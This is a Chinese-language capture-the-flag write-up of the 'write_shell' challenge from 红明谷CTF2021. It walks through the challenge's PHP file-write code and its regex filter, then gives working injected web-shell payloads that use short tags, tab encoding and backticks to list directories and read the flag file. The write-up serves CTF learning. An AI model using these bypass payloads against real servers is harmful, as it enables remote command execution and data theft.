红明谷CTF2021-write_shell

  1. 红明谷CTF2021-write_shell

红明谷CTF2021-write_shell

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

传入两个参数

action=pwd时,显示路径

action=upload时,写入内容


check()函数

通过正则过滤

1
preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)

对php的过滤可以使用短标签:<?=代码?>

对空格的过滤可使用 “/t” 或 “%09”代替

没有过滤反引号,可以在反引号中执行shell命令


首先查看我们文件生成的路径

1
2
3
?action=pwd

#sandbox/fc3f8d0d99ccdde85c8cfc624fe94c32/

查看目录

1
2
3
?action=upload&data=<?=`ls\t/`?>

?action=upload&data=<?=`ls%09/`?>

访问得到目录信息

1
2
3
url/sandbox/fc3f8d0d99ccdde85c8cfc624fe94c32/index.php

#bin boot dev etc flllllll1112222222lag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

读取文件

1
2
3
?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>

?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>

访问得到flag

1
sandbox/fc3f8d0d99ccdde85c8cfc624fe94c32/index.php

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github